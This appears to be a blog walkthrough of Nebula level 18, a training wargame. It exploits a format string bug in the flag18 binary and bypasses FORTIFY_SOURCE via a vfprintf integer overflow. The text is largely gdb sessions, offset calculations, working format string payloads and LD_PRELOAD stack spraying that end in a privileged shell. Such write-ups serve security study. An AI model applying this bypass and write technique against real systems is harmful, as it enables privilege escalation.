Level [18] in Nebula has a handful of vulnerabilities. We will use a format string vulnerability in the function "notsupported" to solve this level. The binary has few protections that we have to bypass inorder to achieve our goal.
Vulnerability
Protections
We will be following the paper A Eulogy for Format Strings to bypass FORTIFY_SOURCE protection using an interger overflow bug in vfprintf.c code.
fprintf_chk.c
fp->_flags2 So as per the paper, we have to toggle off the _IO_FLAGS2_FORTIFY bit in the FILE* structure. Unlike stdout, fp FILE * structure is setup in stack. We have to locate the address of fp->_flags2 and nargs to disable FORTIFY_SOURCE protection.
nargs
Exploit Now vfprintf returns without SIGSEGVing. As mentioned earlier we wil set globals.loggedin variable and then call the shell. globals.loggedin is at address 0x804b0b4. This address in .bss is not randomized even with ASLR set to 2. After messing up with FORTIFY_SOURCE I had problems locating the format string in stack using positional parameters. An easy workaround is to initialise stack with needed information as per this post Controlling uninitialized memory with LD_PRELOAD. We populate the stack with the address of globals.loggedin
Vulnerability
#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__) void notsupported(char *what) { char *buffer = NULL; asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what); dprintf(what); //here is the format string vulnerability free(buffer); }
Protections
level18@nebula:~$ ./checksec.sh --file /home/flag18/flag18 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /home/flag18/flag18 level18@nebula:~$ ./checksec.sh --fortify-file /home/flag18/flag18 * FORTIFY_SOURCE support available (libc) : Yes * Binary compiled with FORTIFY_SOURCE support: Yes level18@nebula:~$ cat /proc/sys/kernel/randomize_va_space 2Of all this, FORTIFY_SOURCE is the protection that we have to concentrate on. The idea is to use format string vulnerability to set globals.loggedin variable and access the shell. ASLR is disabled using nebula root account for debugging purpose. We can set in it on when we run the final exploit, though the presence or absence of ASLR is not going to affect the exploit. Libc randomization can be disabled using resource limit in case needed.
We will be following the paper A Eulogy for Format Strings to bypass FORTIFY_SOURCE protection using an interger overflow bug in vfprintf.c code.
level18@nebula:~$ ulimit -s unlimited level18@nebula:~$ ldd /home/flag18/flag18 linux-gate.so.1 => (0x40020000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000) /lib/ld-linux.so.2 (0x40000000) level18@nebula:~$ ldd /home/flag18/flag18 linux-gate.so.1 => (0x40020000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000) /lib/ld-linux.so.2 (0x40000000) level18@nebula:~$ ldd --version ldd (Ubuntu EGLIBC 2.13-20ubuntu5) 2.13
fprintf_chk.c
int ___fprintf_chk (FILE *fp, int flag, const char *format, ...) { va_list ap; int done; _IO_acquire_lock_clear_flags2 (fp); if (flag > 0) fp->_flags2 |= _IO_FLAGS2_FORTIFY; va_start (ap, format); done = vfprintf (fp, format, ap); va_end (ap); if (flag > 0) fp->_flags2 &= ~_IO_FLAGS2_FORTIFY; _IO_release_lock (fp); return done; } ldbl_strong_alias (___fprintf_chk, __fprintf_chk)
fp->_flags2 So as per the paper, we have to toggle off the _IO_FLAGS2_FORTIFY bit in the FILE* structure. Unlike stdout, fp FILE * structure is setup in stack. We have to locate the address of fp->_flags2 and nargs to disable FORTIFY_SOURCE protection.
level18@nebula:/tmp$ gdb -q /home/flag18/flag18 Reading symbols from /home/flag18/flag18...(no debugging symbols found)...done. (gdb) break vfprintf Function "vfprintf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (vfprintf) pending. (gdb) run -d format -vvv Starting program: /home/flag18/flag18 -d format -vvv Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) c Continuing. Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) c Continuing. site exec %1$*269208516$x %1073741824$ ##########################################################################Since cdecl calling convention is used, the top of the stack will have the address of fp FILE structure. Lets check the disassembly when vfprintf is called before it crashes.
Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) bt #0 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 #1 0x4006d09b in ?? () from /lib/i386-linux-gnu/libc.so.6 #2 0x40068383 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 #3 0x4010e191 in __fprintf_chk () from /lib/i386-linux-gnu/libc.so.6 #4 0x08048d95 in notsupported () #5 0x08048b86 in main () (gdb) x/10i 0x4006d09b-16 0x4006d08b: mov %ecx,0x8(%esp) 0x4006d08f: mov %edx,0x4(%esp) 0x4006d093: mov %eax,(%esp) 0x4006d096: call 0x40068130 <vfprintf> 0x4006d09b: mov 0x38a0(%ebx),%ebp 0x4006d0a1: test %ebp,%ebp 0x4006d0a3: mov %eax,%edi 0x4006d0a5: jne 0x4006d1c8 0x4006d0ab: mov -0x6c(%ebx),%eax 0x4006d0b1: mov %esi,0x20c4(%esp) (gdb) x/x $eax 0xbfffef50: 0xfbad8004 (gdb) x/50x $eax 0xbfffef50: 0xfbad8004 0xbffff4e8 0x4006892c 0xbffff518 0xbfffef60: 0xbfffcf50 0xbfffcf50 0xbfffef50 0x00000000 0xbfffef70: 0x00000000 0x00000000 0x00000027 0x08049017 0xbfffef80: 0xfbad8004 0x00000000 0x00000000 0x00000004 ########################################################################### (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) x/i $pc => 0x40069359 <vfprintf+4649>: movl $0x0,(%edx,%eax,4)fp->_flags2 is at 0xbfffef8c, then calculate the width argument needed to toggle off this.
(gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) p/d (0xbfffef8c-$edx)/4 + 1 $1 = 2848 site exec %1$*2848$ %1073741824$ (gdb) c Continuing. flag18: vfprintf.c:1823: _IO_vfprintf_internal: Assertion 's->_flags2 & 4' failed. Program received signal SIGABRT, Aborted. 0x40020416 in __kernel_vsyscall ()We got the width argument right, this causes the assert (s->_flags2 & _IO_FLAGS2_FORTIFY) to fail. Next we have to find the width argument to overwrite nargs.
nargs
(gdb) run -d format -vvv Starting program: /home/flag18/flag18 -d asdf -vvv site exec %1$*3735928559$x %1073741824$ Program received signal SIGSEGV, Segmentation fault. 0x4006927a in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) x/i $pc => 0x4006927a >vfprintf+4426<: mov %edx,0x8(%esp)Search for nargs value in the stack. I found it in two locations, hit the right one. Then compute the required width argument
(gdb) set $x=0xbfff0000 (gdb) while(*++$x!=0xdeadbeef && $x<0xbffffffc) >end (gdb) p/x $x $5 = 0xbfffca88 (gdb) run -d format -vvv Starting program: /home/flag18/flag18 -d format -vvv site exec %1$*269208516$x %1073741824$ Program received signal SIGSEGV, Segmentation fault. 0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) p/d (0xbfffca88-$edx)/4 + 1 $1 = 479 (gdb) run -d format -vvv The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/flag18/flag18 -d format -vvv site exec %1$*479$ %1$*2848$ %1073741824$ Program received signal SIGSEGV, Segmentation fault. 0x40068cf0 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) x/i $eip => 0x40068cf0 <vfprintf+3008>: mov (%ecx,%eax,4),%eax (gdb) p/x $ecx+$eax*4 $6 = 0xc0004874This is where I got stuck. After removing both flags, some computations are going beyond the stack segment and seg faults before returning from vfprintf. After a discussion in #io, the guys over there pointed out that it may be due to high base address of parameter list. So I decided to export a huge environment variable, this wil lower the stack address and SIGSEGV is avoided.
level18@nebula:/tmp$ export FORMA=`python -c 'print "A"*30000'` (gdb) run -d format -vvv Starting program: /home/flag18/flag18 -d format -vvv site exec %1$*479$ %1$*2848$ %1073741824$ ^C
Exploit Now vfprintf returns without SIGSEGVing. As mentioned earlier we wil set globals.loggedin variable and then call the shell. globals.loggedin is at address 0x804b0b4. This address in .bss is not randomized even with ASLR set to 2. After messing up with FORTIFY_SOURCE I had problems locating the format string in stack using positional parameters. An easy workaround is to initialise stack with needed information as per this post Controlling uninitialized memory with LD_PRELOAD. We populate the stack with the address of globals.loggedin
level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "B"*30000'` (gdb) run -d format -vvv Starting program: /home/flag18/flag18 -d format -vvv site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$ Program received signal SIGSEGV, Segmentation fault. 0x40072f00 in vfprintf () from /lib/i386-linux-gnu/libc.so.6 (gdb) x/i $eip => 0x40072f00 <vfprintf+11728>: mov %edx,(%eax) (gdb) p/x $eax $1 = 0x42424242 (gdb) p/x $edx $2 = 0x1 level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "\xb4\xb0\x04\x08"*7500'` level18@nebula:/tmp$ echo -e 'site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$\r\n' | /home/flag18/flag18 -d format -v -v -v level18@nebula:/tmp$ cat format Starting up. Verbose level = 3 got [site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$] as input |804b0b4| %134525108%134525108 %got [] as inputWe are almost done, with suitable bash options write into 0x804b0b4. As you can see bash displays the version info, using suitable options we can get an interactive priviledge shell to execute getflag. Im not going to discuss about it in this post.
level18@nebula:/tmp$ echo -e 'site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$\r\nshell\r\n' | /home/flag18/flag18 --version -d format -v -v -v 2>/dev/null GNU bash, version 4.2.10(1)-release (i686-pc-linux-gnu) Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
No comments :
Post a Comment